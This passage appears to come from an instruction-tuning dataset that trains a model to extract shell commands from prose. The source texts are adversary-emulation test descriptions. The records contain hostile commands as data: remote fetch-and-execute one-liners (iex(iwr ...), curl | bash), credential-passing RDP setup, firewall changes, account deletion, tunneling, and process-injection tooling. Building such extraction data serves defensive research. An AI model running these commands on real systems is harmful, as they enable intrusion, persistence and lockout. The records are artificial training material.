are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can establish an RDP connection to a DomainController by executing this command: $Server=#{logonserver}\n$User = Join-Path #{domain} #{username}\n$Password=\"#{password}\"\ncmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password\nmstsc /v:$Server\necho \"RDP connection established\"\n; Modify the RDP port configuration and update the firewall rules with this command sequence: Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{NEW_Remote_Port}\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}",
    "output": "{\"command_list\": [\"$Server=#{logonserver}\\n$User = Join-Path #{domain} #{username}\\n$Password=\\\"#{password}\\\"\\ncmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password\\nmstsc /v:$Server\\necho \\\"RDP connection established\\\"\\n\", \"Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp' -name \\\"PortNumber\\\" -Value #{NEW_Remote_Port}\\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To conduct a security scan of an Azure AD tenant using read-only credentials and identify admin users, while saving the results as CSV files, use the following PowerShell commands:\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\AzureStealth.ps1\" -force      \n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-AzAccount -Credential $Credential\nConnect-AzureAD -Credential $Credential\nScan-AzureAdmins -UseCurrentCred\n; For enumerating kernel modules using three different methods, execute this command to see the installed modules listed twice and any 'vmw' modules: lsmod\nkmod list\ngrep vmw /proc/modules",
    "output": "{\"command_list\": [\"Import-Module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AzureStealth.ps1\\\" -force      \\n$Password = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Password\\nConnect-AzAccount -Credential $Credential\\nConnect-AzureAD -Credential $Credential\\nScan-AzureAdmins -UseCurrentCred\\n\", \"lsmod\\nkmod list\\ngrep vmw /proc/modules\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can fetch a remote file, make it executable, and run it with this command: curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}; The file download process can be initiated via the command: cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\nimgrab.exe\" #{remote_file} #{destination_path}",
    "output": "{\"command_list\": [\"curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}\\n\", \"cmd /c \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\nimgrab.exe\\\" #{remote_file} #{destination_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For exposing local services via Cloudflared tunnels, use the command: nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &; A hidden file can be placed inside a hidden directory by executing this command:\nmkdir /var/tmp/.hidden-directory\necho \"T1564.001\" > /var/tmp/.hidden-directory/.hidden-file\n",
    "output": "{\"command_list\": [\"nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &\\n\", \"mkdir /var/tmp/.hidden-directory\\necho \\\"T1564.001\\\" > /var/tmp/.hidden-directory/.hidden-file\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To hinder access to the account, you can change the user password by running this command: passwd #{user_account} #enter admin password > enter new password > confirm new password; This test removes the user account with the dscl utility, via the command: dscl . -delete /Users/#{user_account} #enter admin password",
    "output": "{\"command_list\": [\"passwd #{user_account} #enter admin password > enter new password > confirm new password\\n\", \"dscl . -delete /Users/#{user_account} #enter admin password\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    First presented at BlackHat Europe 2022, this method clones a process and executes shellcode that displays a message box and notepad, using the command: Start-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\redVanity.exe\" #{pid}; This test exploited a vulnerability in legitimate PE formats with RWX permissions, allowing shellcode injection without using common APIs like VirtualAlloc. The technique, known as RWX Process Injection or MockingJay, uses the following command sequence: $address = (& \"$PathToAtomicsFolder\\T1055\\bin\\x64\\searchVuln.exe\" \"$PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\\" | Out-String | Select-String -Pattern \"VirtualAddress: (\\\\w+)\").Matches.Groups[1].Value\n& \"PathToAtomicsFolder\\T1055\\bin\\x64\\RWXinjectionLocal.exe\" \"#{vuln_dll}\" $address",
    "output": "{\"command_list\": [\"Start-Process \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\redVanity.exe\\\" #{pid}\\n\", \"$address = (& \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\searchVuln.exe\\\" \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\vuln_dll\\\\\\\" | Out-String | Select-String -Pattern \\\"VirtualAddress: (\\\\w+)\\\").Matches.Groups[1].Value\\n& \\\"PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\RWXinjectionLocal.exe\\\" \\\"#{vuln_dll}\\\" $address\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can check for open ports on 127.0.0.1 by executing this command: nmap #{host_to_scan}; For checking open ports on a host, run the following Python script with: python \"#{filename}\" -i #{host_ip}\n",
    "output": "{\"command_list\": [\"nmap #{host_to_scan}\", \"python \\\"#{filename}\\\" -i #{host_ip}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines 